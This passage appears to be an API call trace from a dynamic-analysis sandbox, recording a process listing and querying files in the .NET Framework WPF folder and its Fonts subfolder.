	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e6fcb80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x352f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5efe9e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6300, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemCore.dll", cAlternateFileName="PR9D54~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0360c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemData.dll", cAlternateFileName="PR017B~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f082380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemDrawing.dll", cAlternateFileName="PR7DE9~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0ce640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6100, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemXml.dll", cAlternateFileName="PR3E50~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f11a900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5910, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemXmlLinq.dll", cAlternateFileName="PRDB31~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e76efa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3cd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="PRESEN~2.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e7e13c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b998, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.AeroLite.dll", cAlternateFileName="PR3D8D~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e82d680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="PRESEN~3.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f309ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5ce970, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="PR81A8~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e879940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x76788, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="PRESEN~4.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e8c5c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x33190, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="PRBAF3~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2ced8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationHost_v0400.dll", cAlternateFileName="PRDE02~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f414480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc0ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationNative_v0400.dll", cAlternateFileName="PR8A07~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f4d2b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xce4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationUI.dll", cAlternateFileName="PRC066~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f544f80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8f158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="REACHF~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62d5b5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x59358, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61887560, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa6950, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0087.870] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6aeca220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb5f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Controls.Ribbon.dll", cAlternateFileName="SY9516~1.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b210060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x109a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Input.Manipulations.dll", cAlternateFileName="SYSTEM~3.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b25c320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="SYSTEM~4.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b471660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b768, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b4e3a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x581a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="UIAUTO~2.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b509be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc170, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="UIAUTO~3.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b555ea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="UIAUTO~4.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b791340, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x130548, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b7b74a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19580, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="WINDOW~2.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6fd2500, ftCreationTime.dwHighDateTime=0x1d0aa82, ftLastAccessTime.dwLowDateTime=0x6b8c1e40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf6fd2500, ftLastWriteTime.dwHighDateTime=0x1d0aa82, nFileSizeHigh=0x0, nFileSizeLow=0x24ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpf-etw.man", cAlternateFileName="")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b95a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19d0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpfgfx_v0400.dll", cAlternateFileName="WPFGFX~1.DLL")) returned 1
	[0087.871] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.871] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.872] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\Fonts" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x123b29b8 | out: lpFileInformation=0x123b29b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.873] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\Fonts" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.873] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\Fonts\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.874] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.874] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x65b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMonospace.CompositeFont", cAlternateFileName="GLOBAL~1.COM")) returned 1
	[0087.874] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x6779, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalSansSerif.CompositeFont", cAlternateFileName="GLOBAL~2.COM")) returned 1
	[0087.874] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x7453, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalSerif.CompositeFont", cAlternateFileName="GLOBAL~3.COM")) returned 1
	[0087.874] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2d100, ftCreationTime.dwHighDateTime=0x1cd433d, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x72b2d100, ftLastWriteTime.dwHighDateTime=0x1cd433d, nFileSizeHigh=0x0, nFileSizeLow=0xda3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalUserInterface.CompositeFont", cAlternateFileName="GLOBAL~4.COM")) returned 1
	[0087.874] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.874] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\Fonts\\GlobalMonospace.CompositeFont" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\fonts\\globalmonospace.compositefont"), fInfoLevelId=0x0, lpFileInformation=0x123b2b48 | out: lpFileInformation=0x123b2b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x65b8)) returned 1
	[0087.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\Fonts\\GlobalSansSerif.CompositeFont" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\fonts\\globalsansserif.compositefont"), fInfoLevelId=0x0, lpFileInformation=0x123b2b98 | out: lpFileInformation=0x123b2b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x6779)) returned 1
	[0087.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\Fonts\\GlobalSerif.CompositeFont" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\fonts\\globalserif.compositefont"), fInfoLevelId=0x0, lpFileInformation=0x123b2be8 | out: lpFileInformation=0x123b2be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x7453)) returned 1
	[0087.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\Fonts\\GlobalUserInterface.CompositeFont" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\fonts\\globaluserinterface.compositefont"), fInfoLevelId=0x0, lpFileInformation=0x123b2c38 | out: lpFileInformation=0x123b2c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2d100, ftCreationTime.dwHighDateTime=0x1cd433d, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x72b2d100, ftLastWriteTime.dwHighDateTime=0x1cd433d, nFileSizeHigh=0x0, nFileSizeLow=0xda3b)) returned 1
	[0087.877] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\NaturalLanguage6.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wpf\\naturallanguage6.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b2c88 | out: lpFileInformation=0x123b2c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d4d63c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x44a8)) returned 1
